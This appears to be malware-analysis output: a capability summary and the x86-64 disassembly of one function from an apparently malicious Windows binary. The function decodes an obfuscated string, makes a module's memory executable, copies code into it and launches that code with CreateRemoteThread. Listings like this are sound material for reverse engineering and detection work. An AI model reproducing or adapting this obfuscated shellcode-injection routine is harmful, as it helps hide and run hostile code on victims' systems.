Function at 0x140151060
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x18], r8
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rdi, qword [0x14051e4d8]
xor eax, eax
mov rsi, qword [0x14051e4d0]
xorps xmm0, xmm0
movzx r8d, byte [rbp + 0xf0]
mov r14, rcx
movups xmmword [rsp + 0x4a], xmm0
mov word [rsp + 0x5a], ax
movabs r12, 0xd8a9822347b29e15
mov byte [rsp + 0x5c], al
movabs r15, 0xc5e7ace4e1a6f7b9
mov dword [rsp + 0x40], 0xe7e01114
movabs r13, 0x9df5933d85478ebd
mov dword [rsp + 0x44], 0xe3ecdbe6
mov word [rsp + 0x48], 0x8de2
nop dword [rax]
mov rax, rsi
mov r9, rdi
nop word [rax + rax]
xor ebx, ebx
cmp rbx, 0x1d
jae 0x140151c46
movzx r11d, byte [rsp + rbx + 0x40]
mov r10d, r11d
cmp rax, rbx
ja 0x140151c3d
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x140151143
lea rdx, [rbx + r12]
movzx ecx, r10b
and cl, dl
movzx r8d, r11b
add cl, cl
sub r8b, cl
add r8b, 0x6d
add r8b, dl
jmp 0x140151190
je 0x140151bcd
inc rcx
cmp rax, rcx
je 0x140151b4f
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140151b21
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140151b06
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x140151ae2
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x140151a9a
nop dword [rax]
cmp r9, rbx
ja 0x140151c34
lea rdx, [r9 + 5]
cmp rax, rdx
jae 0x1401511be
lea rdx, [rbx + r15]
movzx ecx, r10b
and cl, dl
movzx r8d, r11b
add cl, cl
sub r8b, cl
sub r8b, 0xf
add r8b, dl
jmp 0x1401511f0
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x140151a7d
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140151a5c
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140151a3e
cmp rax, rdx
je 0x140151a23
nop
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x140151770
nop dword [rax]
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x140151750
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x14015172c
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x14015170b
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x1401516eb
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1401516c9
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x1401516aa
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x14015168e
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14015166f
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x140151646
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x140151200
lea rax, [r9 + 2]
lea r9, [rax + 4]
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x140151c19
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x140151bfe
lea rcx, [r9 + 5]
cmp rax, rcx
jb 0x1401513f2
lea rcx, [r9 + 0xa]
cmp rax, rcx
jb 0x1401513d4
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x1401513b6
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x1401515f5
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x1401515a9
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x140151562
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x14015153f
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x140151200
lea rax, [r9 + 0x200]
lea r9, [rax + 0x10]
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x140151516
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x1401514f7
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x1401514db
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x1401514bc
lea rcx, [r9 + 0x400]
cmp rax, rcx
ja 0x140151499
lea rdx, [r9 + 0x41]
cmp rax, rdx
ja 0x14015147a
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x140151456
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x14015142f
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x140151410
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x140151200
mov rax, rdx
lea r9, [rdx + 0x2a]
jmp 0x140151200
lea edx, [rbx + 0x67]
movzx ecx, r11b
and cl, dl
movzx r8d, r11b
add cl, cl
sub r8b, cl
add r8b, 0x2f
add r8b, dl
jmp 0x1401511f0
lea edx, [rbx + 0x3d]
movzx ecx, r11b
and cl, dl
movzx r8d, r11b
add cl, cl
sub r8b, cl
add r8b, 0x55
add r8b, dl
jmp 0x140151190
lea edx, [rbx + 0x13]
movzx ecx, r11b
and cl, dl
movzx r8d, r11b
add cl, cl
sub r8b, cl
add r8b, 0x7b
add r8b, dl
jmp 0x140151115
lea edx, [rbx - 0x38]
movzx ecx, r11b
and cl, dl
movzx r8d, r11b
add cl, cl
movzx r10d, bl
sub r8b, cl
sub r8b, 0x78
jmp 0x140151ab5
lea edx, [rbx - 0x62]
movzx ecx, r11b
and cl, dl
movzx r8d, r11b
add cl, cl
inc r9
sub r8b, cl
dec rbx
sub r8b, 0x52
add r8b, dl
inc rbx
jmp 0x140151102
lea edx, [rbx + 0x74]
movzx ecx, r11b
and cl, dl
movzx r8d, r11b
add cl, cl
dec rbx
sub r8b, cl
sub r8b, 0x2c
add r8b, dl
inc rbx
jmp 0x140151102
lea edx, [rbx + 0x4a]
movzx ecx, r11b
and cl, dl
movzx r8d, r11b
add cl, cl
movzx r10d, bl
sub r8b, cl
sub r8b, 6
jmp 0x1401519e0
lea edx, [rbx + 0x20]
movzx ecx, r11b
and cl, dl
mov r8d, reloc.WS2_32.dll_recv
sub r8b, cl
add r8b, r8b
add r8b, r11b
add r8b, dl
add rax, r9
jmp 0x140151b36
lea r8d, [rbx - 0xa]
movzx ecx, r11b
and cl, r8b
mov edx, 0x23
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140151b36
lea r8d, [rbx - 0x34]
movzx ecx, r11b
and cl, r8b
mov edx, getservbyname
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x140151b6d
lea r8d, [rbx - 0x5e]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub r8b, 0x6e
sub dl, cl
add r8b, dl
jmp 0x140151b93
lea edx, [rbx + 0x78]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r8d, [rdx + r11]
sub r8b, 0x48
inc rbx
jmp 0x140151102
lea edx, [rbx + 0xf]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x69
mov byte [rsp + rbx + 0x40], r8b
inc rbx
jmp 0x140151102
lea r8d, [rbx - 0x1b]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
sub r8b, 0x43
add r8b, dl
cmp r9, 0xa
jb 0x140151555
movzx edx, r11b
movzx r10d, bl
movzx ecx, r11b
lea r8d, [r10 + 0x5e]
and cl, r8b
add cl, cl
sub dl, cl
add dl, r8b
lea r8d, [rdx*2 - 0x24]
jmp 0x140151ab8
lea r8d, [rbx - 0x45]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
sub r8b, 0x1d
add r8b, dl
cmp rax, 0x400
jae 0x1401519c5
lea rcx, [r9 + 0x61]
cmp rax, rcx
jbe 0x1401518ee
lea r8d, [rbx - 0x46]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
sub r8b, 0x16
jmp 0x140151579
lea r8d, [rbx - 0x6f]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
add r8b, 9
add r8b, dl
lea rcx, [r9 + rax]
cmp rcx, 4
je 0x140151a0a
lea rcx, [r9 + 6]
cmp rax, rcx
jbe 0x14015184d
lea r8d, [rbx + 1]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
sub r8b, 7
jmp 0x1401515c0
lea edx, [rbx + 0x56]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r8d, [rdx + r11]
sub r8b, 0x5a
inc rbx
jmp 0x140151102
lea r8d, [rbx + 0x2c]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub r8b, 0x34
sub dl, cl
add r8b, dl
jmp 0x140151b93
lea r8d, [rbx + 2]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
sub r8b, 0xe
jmp 0x140151b6d
lea r8d, [rbx - 0x28]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_inet_ntoa
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140151b36
lea r8d, [rbx - 0x52]
movzx ecx, r11b
and cl, r8b
mov edx, 0x1f
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
add rax, r9
jmp 0x140151b36
movzx r10d, bl
movzx ecx, r11b
mov edx, gethostbyaddr
lea r8d, [r10 - 0x7c]
and cl, r8b
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x1401519e0
lea edx, [rbx + 0x5a]
movzx ecx, r11b
and cl, dl
dec rbx
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x76
inc rbx
jmp 0x140151102
lea edx, [rbx + 0x30]
movzx ecx, r11b
and cl, dl
inc r9
add cl, cl
dec rbx
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x50
inc rbx
jmp 0x140151102
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 + 6]
and cl, r8b
add cl, cl
sub dl, cl
sub r8b, 0x2a
jmp 0x140151ab5
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jae 0x140151798
lea r8d, [rbx + 0x15]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
add cl, cl
sub dl, cl
add r8b, 0x6d
jmp 0x14015160c
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401517ca
lea edx, [rbx + 0x72]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r8d, [rdx + r11]
sub r8b, 0x1e
inc rbx
jmp 0x140151102
inc rcx
cmp rax, rcx
jne 0x1401517f1
lea r8d, [rbx - 0x10]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_getservbyport
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140151b36
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14015181c
lea r8d, [rbx + 0x1a]
movzx ecx, r11b
and cl, r8b
mov edx, 0x25
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
add rax, r9
jmp 0x140151b36
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x14015160f
lea edx, [rbx - 0x68]
movzx ecx, r11b
and cl, dl
inc r9
add cl, cl
dec rbx
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x28
inc rbx
jmp 0x140151102
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140151876
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 + 0x2b]
and cl, r8b
add cl, cl
sub dl, cl
sub r8b, 0x2d
jmp 0x140151ab5
inc rcx
cmp rax, rcx
jne 0x14015189f
lea edx, [rbx + 0x7f]
movzx ecx, r11b
and cl, dl
dec rbx
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x79
inc rbx
jmp 0x140151102
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401518c6
lea edx, [rbx - 0x2d]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
add r8b, 0x3b
add rax, r9
jmp 0x140151b36
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1401515c3
lea edx, [rbx - 3]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
add r8b, 0x15
jmp 0x140151b36
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140151920
lea edx, [rbx - 0x1c]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r8d, [rdx + r11]
sub r8b, 0x3c
inc rbx
jmp 0x140151102
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x140151948
lea r8d, [rbx + 0x62]
movzx ecx, r11b
and cl, r8b
mov edx, 0x29
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140151b36
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14015196e
movzx r10d, bl
movzx ecx, r11b
mov edx, 3
lea r8d, [r10 - 0x4a]
and cl, r8b
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x1401519e0
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x140151998
lea edx, [rbx - 0x20]
movzx ecx, r11b
and cl, dl
dec rbx
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x20
inc rbx
jmp 0x140151102
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x14015157c
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 + 0x34]
and cl, r8b
add cl, cl
sub dl, cl
sub r8b, 0x6c
jmp 0x140151ab5
movzx edx, byte [rsp + rbx + 0x40]
movzx r10d, bl
movzx ecx, r11b
lea r8d, [r10 - 0x78]
and cl, r8b
sub dl, cl
add dl, 0x24
add dl, dl
add r8b, dl
sub r10b, 0x63
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x4b
add r10b, r11b
add r10b, r8b
mov byte [rsp + rbx + 0x40], r10b
add rax, r9
jmp 0x140151b36
lea r8d, [rbx - 0x4e]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, cl
add dl, dl
jmp 0x140151b6d
lea edx, [rbx - 0x4b]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
add r8b, 0xd
jmp 0x140151b36
lea edx, [rbx - 0x75]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
add r8b, 0x33
add rax, r9
jmp 0x140151b36
lea edx, [rbx + 0x37]
movzx ecx, r11b
and cl, dl
dec rbx
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
add r8b, 0x7f
inc rbx
jmp 0x140151102
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 - 0x1d]
and cl, r8b
add cl, cl
sub dl, cl
sub r8b, 0x35
jmp 0x140151ab5
movzx r10d, bl
movzx ecx, r11b
movzx edx, r11b
lea r8d, [r10 - 0x71]
and cl, r8b
add cl, cl
sub dl, cl
add r8b, 0x17
add r8b, dl
add r10b, 0x73
inc r9
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x25
add r10b, r11b
mov byte [rsp + rbx + 0x40], r10b
dec rbx
inc rbx
jmp 0x140151102
lea edx, [rbx + 0x65]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
add r8b, 0x3d
inc r9
dec rbx
inc rbx
jmp 0x140151102
lea edx, [rbx - 0x19]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x51
add rax, r9
jmp 0x140151b36
lea rcx, [rbx + r13]
and r10b, cl
add r10b, r10b
sub r11b, r10b
lea r8d, [rcx + r11]
sub r8b, 0x2b
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140151102
movabs rdx, 0xeca28ef6f5e25293
movzx r8d, r11b
add rdx, rbx
and r10b, dl
add r10b, r10b
sub r8b, r10b
sub r8b, 5
add r8b, dl
lea edx, [rbx - 0x39]
inc r9
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
sub dl, 0x71
add dl, r11b
movzx ecx, dl
mov byte [rsp + rbx + 0x40], cl
add rcx, r9
sub rbx, rcx
lea edx, [rbx - 0x24]
inc rax
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
sub dl, 4
add dl, r11b
mov byte [rsp + rbx + 0x40], dl
add rbx, rcx
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140151102
movabs rcx, 0x89fc8669d717da3f
add rcx, rbx
and r10b, cl
add r10b, r10b
sub r11b, r10b
lea r8d, [rcx + r11]
add r8b, 0x47
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140151102
sub bl, 0x17
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r8d, [rbx + r11]
sub r8b, 0x5f
jmp 0x140151100
sub bl, 0x41
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r8d, [rbx + r11]
sub r8b, 0x39
jmp 0x1401510f0
lea rcx, [rbp + 0x142355c]
jmp 0x140151c4b
lea rcx, [rbp + 0x74d371]
jmp 0x140151c4b
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
test rax, rax
je 0x140151db0
movups xmm1, xmmword [rax + 0x30]
mov ebx, 2
lea rcx, [rbp - 0x60]
mov edx, ebx
psrldq xmm1, 0xc
movd eax, xmm1
cdqe
add rax, r8
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140151c80
mov rax, qword [rax]
mov qword [rcx], rax
mov edi, dword [rbp - 0x10]
add rdi, 0xfffffffffffffc00
add rdi, r8
je 0x140151db0
lea r9, [rbp + 0xf0]
mov edx, 0x100
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x140151040]
mov rdx, rdi
mov rsi, rax
mov qword [rax], r14
xor r14d, r14d
mov qword [rax + 8], r14
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x140151d35
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x30], r14
mov r9, rdi
mov rcx, rax
mov dword [rsp + 0x28], r14d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x140151db2
xor eax, eax
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret